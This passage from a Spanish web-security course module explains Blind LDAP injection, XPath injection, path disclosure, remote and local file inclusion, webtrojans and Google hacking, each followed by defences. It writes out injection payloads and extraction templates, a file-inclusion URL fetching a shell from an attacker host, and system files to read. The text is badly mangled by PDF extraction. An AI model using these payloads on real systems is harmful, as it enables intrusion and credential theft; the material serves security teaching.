CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

